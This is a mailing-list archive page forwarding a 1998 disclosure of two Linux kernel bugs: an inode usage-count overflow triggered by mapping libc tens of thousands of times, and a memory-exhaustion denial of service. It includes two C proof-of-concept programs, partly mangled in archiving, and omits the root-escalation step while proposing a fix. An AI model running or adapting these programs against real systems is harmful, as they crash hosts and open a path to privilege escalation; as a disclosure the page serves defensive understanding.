[LUGA] Mit freundlicher Unterstützung von:

Mail Thread Index

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[luga] Linux inode.i_count overflow

Subject: BoS:      Linux inode.i_count overflow


   While I was working on my master thesis (Emulation of [1]Classic
   Operating Systems in [2]Distributed Environment), I found following
   two nasty things in Linux sources:

                        i_count Overflow Security Hole

   Member i_count in struct inode contains the usage count. It is of type
   unsigned short, which is only 16-bit long on i386. Unfortunately, it
   is not enough. You can make it overflow by mapping one file many
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

void main()
 int fd, i;

 fd = open("/lib/libc.so.5", O_RDONLY);

 for(i = 0; i < 65540; i++)
  mmap((char*)0x50000000 + (0x1000 * i), 0x1000,

   Warning: This program will cause unpredictable behavior of the whole

   While killing this program kernel will print many messages:
VFS: iput: trying to free free inode

   After executing the program, there will be free inode which is
   actually mapped in other processes. The only think you need to grab
   root privileges is opening your modified libc in original inode and
   making system to use it. It is a little tricky magic with inode cache
   and memory manager. I will not publish it here to avoid misuse of this
   security hole.

   To fix this bug simply change the i_count type to unsigned long.

  Related links

     * [3]Reply to my linux-security post

                       Crashing System by Eating Memory

   This topic is related to previous one. The Linux memory manager
   allocates small chunk (64 bytes) of memory for every file mapping. By
   mapping one file many times, a process can eat all available memory
   and actually stop the system responding even for root. You can do it
   by executing one or more instances of program like this:
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdio.h>

void main()
 int fd, i;
 char *name;
 char *address;

 name = tmpnam(NULL);
 fd = open(name, O_RDWR | O_CREAT);

 address = (char*)0x1000;

 for(i = 0; ; i++)
  /* skip program interpreter */
  if(address == (char*)0x08000000) address = (char*)0x09000000;
  /* skip program itself */
  if(address == (char*)0x40000000) address = (char*)0x41000000;
  /* skip program stack and kernel */
  if(address == (char*)0xBF000000) break;

  if(mmap(address, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == (void*)
- -1)

  if(!(i&0xFFF)) fprintf(stderr, "%d done\n", i);

  address += 0x1000;

 fprintf(stderr, "%i (%08x) total, press Ctrl+C\n", i, address);

 for(;;) pause();

   Warning: This program will cause unpredictable behavior of the whole

   Every instance of the program will eat about 32MB of RAM if running in
   typical Linux configuration. Although you can avoid users to eat
   resources this way by setting resource limits properly this effect can
   be considered to be a Linux bug. Linux is protected to avoid
   allocating all process slots by normal users. There are reserved
   MIN_TASKS_LEFT_FOR_ROOT slots for root. So there should be also
   protection to avoid allocating all memory by normal users.

   I am not a Linux expert, so please don't upset if these thinks are
   well known. Feel free to send me comments.


   January 11, 1998


   1. http://www.linux.org/
   2. http://ulita.ms.mff.cuni.cz/pub/t4/
   3. http://www.ms.mff.cuni.cz/~jkot2155/linuxbug/wolff.txt.iso-8859-1
   4. mailto:Jan.Kotas@acm.org

------- End of Forwarded Message

powered by LINUX the choice of a gnu generation
linux user group austria;
Letzte Änderung:
September 2010